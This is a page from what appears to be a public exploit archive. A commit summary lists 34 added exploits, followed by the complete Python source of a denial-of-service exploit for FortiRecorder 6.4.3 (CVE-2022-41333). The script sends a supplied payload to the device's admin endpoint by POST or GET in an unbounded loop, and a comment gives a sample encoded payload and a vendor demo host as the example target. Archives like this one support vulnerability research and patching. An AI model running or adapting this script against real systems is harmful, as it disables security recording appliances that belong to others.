85954a8fad
34 changes to exploits/shellcodes/ghdb ENTAB ERP 1.0 - Username PII leak ReQlogic v11.3 - Reflected Cross-Site Scripting (XSS) ZCBS/ZBBS/ZPBS v4.14k - Reflected Cross-Site Scripting (XSS) FortiRecorder 6.4.3 - Denial of Service Schneider Electric v1.0 - Directory traversal & Broken Authentication Altenergy Power Control Software C1.2.5 - OS command injection Goanywhere Encryption helper 7.1.1 - Remote Code Execution (RCE) Pentaho BA Server EE 9.3.0.0-428 - Remote Code Execution (RCE) (Unauthenticated) Google Chrome 109.0.5414.74 - Code Execution via missing lib file (Ubuntu) Lucee Scheduled Job v1.0 - Command Execution Microsoft Excel 365 MSO (Version 2302 Build 16.0.16130.20186) 64-bit - Remote Code Execution (RCE) Adobe Connect 11.4.5 - Local File Disclosure Palo Alto Cortex XSOAR 6.5.0 - Stored Cross-Site Scripting (XSS) Suprema BioStar 2 v2.8.16 - SQL Injection Symantec Messaging Gateway 10.7.4 - Stored Cross-Site Scripting (XSS) dotclear 2.25.3 - Remote Code Execution (RCE) (Authenticated) GLPI v10.0.1 - Unauthenticated Sensitive Data Exposure Icinga Web 2.10 - Arbitrary File Disclosure Joomla! v4.2.8 - Unauthenticated information disclosure Medicine Tracker System v1.0 - Sql Injection Online Appointment System V1.0 - Cross-Site Scripting (XSS) Online-Pizza-Ordering -1.0 - Remote Code Execution (RCE) pfsenseCE v2.6.0 - Anti-brute force protection bypass Restaurant Management System 1.0 - SQL Injection WebsiteBaker v2.13.3 - Cross-Site Scripting (XSS) X2CRM v6.6/6.9 - Reflected Cross-Site Scripting (XSS) (Authenticated) X2CRM v6.6/6.9 - Stored Cross-Site Scripting (XSS) (Authenticated) Microsoft Windows 11 - 'cmd.exe' Denial of Service ActFax 10.10 - Unquoted Path Services ESET Service 16.0.26.0 - 'Service ekrn' Unquoted Service Path RSA NetWitness Platform 12.2 - Incorrect Access Control / Code Execution Stonesoft VPN Client 6.2.0 / 6.8.0 - Local Privilege Escalation
67 lines
No EOL
2.5 KiB
Python
Executable file
67 lines
No EOL
2.5 KiB
Python
Executable file
# Exploit Title: FortiRecorder 6.4.3 - Denial of Service
|
|
# Google Dork: N/A
|
|
# Date: 13/03/2023
|
|
# Exploit Author: Mohammed Adel
|
|
# Vendor Homepage: https://www.fortinet.com/
|
|
# Software Link: https://www.fortinet.com/products/network-based-video-security/forticam-fortirecorder
|
|
# Version: 6.4.3 and below && 6.0.11 to 6.0.0
|
|
# Tested on: Kali Linux
|
|
# CVE : CVE-2022-41333
|
|
# Security Advisory: https://www.fortiguard.com/psirt/FG-IR-22-388
|
|
# Technical Analysis: https://medium.com/@0xpolar/cve-2022-41333-71eb289d60b5
|
|
|
|
import requests
|
|
import warnings
|
|
import sys
|
|
from urllib.parse import unquote
|
|
warnings.filterwarnings('ignore', message='Unverified HTTPS request')
|
|
|
|
def POST(target, req_type, payload):
|
|
print("[+] Target : "+target)
|
|
print("[+] Request Type: POST")
|
|
print("[+] Payload : " +payload)
|
|
post_url = target+"/module/admin.fe"
|
|
post_headers = {"User-Agent": "CVE-2022-41333", "Content-Type": "application/x-www-form-urlencoded"}
|
|
url_decoder = unquote(payload)
|
|
full_payload = "fewReq="+url_decoder
|
|
while True:
|
|
r = requests.post(post_url, headers=post_headers, data=full_payload, verify=False)
|
|
if "Failed: Access denied" in r.text:
|
|
print("[+] Payload Sent.")
|
|
else:
|
|
print("[!] Something went wrong!")
|
|
print(r.text)
|
|
|
|
def GET(target, req_type, payload):
|
|
print("[+] Target : "+target)
|
|
print("[+] Request Type: GET")
|
|
print("[+] Payload : " +payload)
|
|
while True:
|
|
url = target+"/module/admin.fe?fewReq="+payload
|
|
headers = {"User-Agent": "CVE-2022-41333", "Connection": "close"}
|
|
r = requests.get(url, headers=headers, verify=False)
|
|
if "Failed: Access denied" in r.text:
|
|
print("[+] Payload Sent.")
|
|
else:
|
|
print("[!] Something went wrong!")
|
|
print(r.text)
|
|
|
|
|
|
print("[+] Starting ..")
|
|
target = str((sys.argv[1])) # https://fortirecorder.fortidemo.com
|
|
req_type = str((sys.argv[2])) # POST or GET
|
|
payload = str((sys.argv[3])) # :B:JSsrJW16blB9dXp8ayJMZmxcfnJee3J2cTltem5efGt2cHEiLio5amx6bXF+cnoi
|
|
|
|
|
|
if "post" in req_type.lower():
|
|
if "https" in target.lower() or "http" in target.lower():
|
|
POST(target, req_type, payload)
|
|
else:
|
|
print("[!] Invalid Target. [Ex: https://fortirecorder.fortidemo.com]")
|
|
elif "get" in req_type.lower():
|
|
if "https" in target.lower() or "http" in target.lower():
|
|
GET(target, req_type, payload)
|
|
else:
|
|
print("[!] Invalid Target. [Ex: https://fortirecorder.fortidemo.com]")
|
|
else:
|
|
print("[!] Invalid Request Type.") |